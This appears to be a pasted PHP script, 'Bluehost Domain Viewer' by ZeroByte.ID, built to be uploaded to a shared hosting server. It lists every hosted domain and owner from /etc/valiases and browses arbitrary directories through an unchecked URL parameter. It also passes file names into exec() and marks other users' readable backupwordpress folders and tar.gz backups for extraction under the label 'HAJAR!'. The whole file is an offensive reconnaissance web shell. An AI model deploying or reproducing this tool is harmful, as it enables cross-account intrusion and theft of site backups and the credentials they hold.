SHOW:
|
|
- or go back to the newest paste.
| 1 | <?php | |
| 2 | set_time_limit(0); | |
| 3 | error_reporting(0); | |
| 4 | ?> | |
| 5 | <title>Bluehost Domain Viewer</title> | |
| 6 | <style type="text/css">body {background:#333333;color:#cccccc;font-family: 'Courier'}td {border:1px dashed #FF0000;padding:3px;}a {color:#00ff00;text-decoration:none;}th {background: #FF0000;padding:5px;color:#FFFFFF;}h1 {margin:0;}tr:hover {background:#7B241C;}</style>
| |
| 7 | <?php | |
| 8 | if(!empty($_GET['dir'])) {
| |
| 9 | $path = $_GET['dir']; | |
| 10 | echo '<hr>Current Dir: '.$path.'<hr>'; | |
| 11 | $scandir = scandir($path); | |
| 12 | foreach($scandir as $filez) {
| |
| 13 | if(is_dir("$path/$filez")) {
| |
| 14 | echo '[DIR] <a href="?dir='.$path.'/'.$filez.'">'.$filez.'</a><br>'; | |
| 15 | } | |
| 16 | else if(preg_match('/(tar.gz)$/', $filez)) {
| |
| 17 | echo '[FILE] <a href="?xtract='.$path.'/'.$filez.'" style="color:red;">'.$filez.'</a> <a>[ HAJAR! ]</a><br>'; | |
| 18 | } | |
| 19 | else {
| |
| 20 | echo '[FILE] <a href="?dir='.$path.'/'.$filez.'">'.$filez.'</a><br>'; | |
| 21 | } | |
| 22 | } | |
| 23 | } | |
| 24 | else {
| |
| 25 | echo '<center>'; | |
| 26 | echo '<h1>-=[ Bluehost Domain Viewer ]=-</h1>'; | |
| 27 | echo '<small>'.php_uname().'</small>'; | |
| 28 | $domaindir = '/etc/valiases/'; | |
| 29 | $domainfile = scandir($domaindir); | |
| 30 | echo "<table width='80%'>\n"; | |
| 31 | echo "<tr><th>Domain</th><th>User</th><th>Backupwordpress</th></tr>"; | |
| 32 | foreach($domainfile as $domain){
| |
| 33 | if(!is_dir($domain) && !preg_match('/^[*.]/', $domain) && !preg_match('/[0-9]$/', $domain)) {
| |
| 34 | $user = exec("ls -l $domaindir$domain | awk '{print $3}'");
| |
| 35 | echo '<tr><td>'.$domain.'</td><td width="15%" align="center"><small>'.$user.'</small></td>'; | |
| 36 | if(is_readable("/home/$user/backupwordpress")){
| |
| 37 | echo '<td width="13%" align="center">Yes</td>'; | |
| 38 | } else {
| |
| 39 | echo '<td width="13%"><center><font color="red">No</font></center></td>'; | |
| 40 | } | |
| 41 | echo '</tr>'; | |
| 42 | } | |
| 43 | } | |
| 44 | echo "</table>\n"; | |
| 45 | echo "<hr>© 2018 - ZeroByte.ID"; | |
| 46 | echo '</center>'; | |
| 47 | } | |
| 48 | ?> |